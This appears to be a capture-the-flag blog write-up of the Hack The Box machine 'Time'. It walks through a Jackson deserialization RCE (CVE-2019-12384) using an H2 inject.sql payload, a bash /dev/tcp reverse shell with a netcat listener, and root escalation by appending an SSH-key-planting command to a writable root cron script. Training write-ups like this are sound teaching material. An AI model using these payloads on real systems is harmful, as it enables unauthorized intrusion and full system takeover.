Hack The Box Writeup: Time

I was over a month ago, since I last did a box on Hack The Box. So I choose one from the to-do list and that was Time. I have to say the box did not really satify me, but I did learn some new tricks on this medium Linux box.

[0x1] Reconnaissance & Enumeration

Let’s start exploring Time by doing a Nmap scan for all ports, common scripts and service detection. It did not took that long since there are only two ports availble on the machine.

nmap -sC -sV -p- -oA time-allports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-01 05:01 EST
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I won’t expect port 22 (SSH) to be the way in at this point, so I will first see what website is running on port 80. The http-title does give away that it has something to do with JSON.

I have run some tools like dirbuster and sqlmap to see if there where any other entry points of SQL-injections possible. Also poked around with the reuqest using Burp, but nothing obvisous at this point.

I did noticed when I submitted a value in the input field, there was an error stating a specific component. I used Burp to intercept, and check the response. As data I entered “d0p4m1n3” and submitted the form.

After the submit was processed, there was an error on the website saying that there was an Unhandled Java execption in com.fasterxml.jackson.core.JsonParseExeption.

[0x2] Initial Foothold

Since I have zero Java or JSON experience, I searched around the web to see if there are any vulnerabilities around this topic. I found a few, which all had something to do with deserialization (recreate the actual Java object in memory). That is not really my expertise, so I just searched further.

I found a specific article for CVE-2019-12384, that described te possibility of getting Remote Code Execution from deserialization. And where there is a CVE, there must be an exploit somewhere 🙂 After looking a round I found an exploit on GitHub for getting the RCE.

I took the inject.sql file and changed the command it will execute to see if it works by sending a ping to my machine. If it works, I can have tcpdump show me the incomming ping requests. An easy way to make sure the payload works, before using it to spawn a shell.

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : ""; }
CALL SHELLEXEC('ping -c 3')

Not start my Python webserver so the script can grab the inject.sql file from my machine.

pyhton3 -m http.server 8000

Next up: starting tcpdump to grab incomming ICMP requests.

tcpdump -i tun0 icmp

With everything set up, I will paste the command below into the webapplication and see if my payload gets executed. I grabbed it from the GitHub script, but had to alter it a bit. Since I paste it directly in the form, you need to remove the all the ‘\’ (backslashes) in the lines. So change this:

jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"

to this:

["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ''"}]

After pressing PROCESS, and disable BurpSuite (always forget that), the following happens on my machine: the inject.sql file gets downloaded from the websserver, and tcpdump shows the incomming ping request. This means my setup works!

Serving HTTP on port 8000 ( ... - - [01/Nov/2020 06:15:08] "GET /inject.sql HTTP/1.1" 200 -

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
06:15:10.250434 IP > ICMP echo request, id 1, seq 1, length 64 
06:15:10.250497 IP > ICMP echo reply, id 1, seq 1, length 64
06:15:11.268416 IP > ICMP echo request, id 1, seq 2, length 64 
06:15:11.268435 IP > ICMP echo reply, id 1, seq 2, length 64
06:15:12.267850 IP > ICMP echo request, id 1, seq 3, length 64 
06:15:12.267873 IP > ICMP echo reply, id 1, seq 3, length 64

Since receiving ping requests does not give me a shell, I have to alter the command begin run by the inject.sql script. I add a reverse shell to have it call back to me.

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
CALL SHELLEXEC('bash -i &>/dev/tcp/ 0>&1 &')

Now that the payload is ready, I have to make sure there is a listener running to grab the incomming connection.

rlwrap netcat -lvnp 1337
listening on [any] 1337 ...

And there is my reverse shell! Running as the user pericles.

listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 42212
bash: cannot set terminal process group (866): Inappropriate ioctl for device 
bash: no job control in this shell
pericles@time:/var/www/html$ whoami

[0x3] Path to User flag

Before I check to see if there are more users, I do a quick peek on the flag location. Maybe there is only one user on this box. And what do you know, I just got myself a user flag.

pericles@time:/home/pericles$ cat user.txt 
cat user.txt

[0x4] Path to Root flag

Since the root flag is the ultimate goal, I will host the linPeas script on my machine and see if there is something to exploit on this machine. The script is being served by the Python webserver and downloaded to the machine.


If you have ever used linpeas, you know how much output it generates. So to make it readable I only share the piece which grabbed my attention. The list below are files which are owned by me, or writeable by everyone. It is all normal stuff, until you reach the timer_backup.sh located in /usr/bin. Now that is a conincdance, since the machines name is Time, or isn’t it.

[+] Interesting writable files owned by me or writable by everyone (not in Home) 
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files

The content of this script is not much, nor is it complicated. It shows the process of creating an zip archive from /var/www/html and moving it to /root/backup.zip. I wonder if this script gets executed by root and maybe give me a way to exploit it.

cat timer_backup.sh
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip 

The first thing I did was the same as with the inject.sql, just let it ping back. I had tcpdump running to grab any incomming ICMP traffic so it’s an easy check.

echo "ping -c 3" >>/usr/bin/timer_backup.sh

And there we have our ping requests. Since the are received without having to start the script, it is triggered by another proces or user.

06:52:35.798166 IP > ICMP echo request, id 27, seq 1, length 64
06:52:35.798186 IP > ICMP echo reply, id 27, seq 1, length 64
06:52:36.728695 IP > ICMP echo request, id 27, seq 2, length 64
06:52:36.728714 IP > ICMP echo reply, id 27, seq 2, length 64
06:52:37.727655 IP > ICMP echo request, id 27, seq 3, length 64
06:52:37.727673 IP > ICMP echo reply, id 27, seq 3, length 64

Since SSH is running on the machine, I might as well try to add my public key to the authorized keys for root. If that fails, I can always try a shell or something. I paste my public keys in a file called key.txt and add the command for adding it to the authorized keys to the script.

echo "echo $(<key.txt) >>/root/.ssh/authorized_keys" >>/usr/bin/timer_backup.sh

cat /usr/bin/timer_backup.sh
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSn7P+xHhVb+xYRFnFda2EWXuA8sw9XergLc[clip...............]SBIrJK6DNcs+mk4f7beve9zZ0XVbSR8WiUmmZM1N6HI/9IIBM=  >>/root/.ssh/authorized_keys

After that is done, I hop back to my machine and try to log on to the box based on my private RSA key

ssh -i ~/.ssh/id_rsa root@

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) 
 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage
  System information as of Sun 01 Nov 2020 01:03:40 PM UTC
  System load: 0.0
  Usage of /: 21.9% of 29.40GB
  Memory usage: 25%
  Swap usage: 0%
  Processes: 240
  Users logged in: 0
  IPv4 address for ens160:
  IPv6 address for ens160: dead:beef::250:56ff:feb9:a25b
83 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Thu Oct 22 17:03:52 2020

Just a quick check to see who we are, and after that I can grab the flag and call this one rooted!

root@time:~# whoami
root@time:~# id
uid=0(root) gid=0(root) groups=0(root) 
root@time:~# hostname
root@time:~# cat /root/root.txt

[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.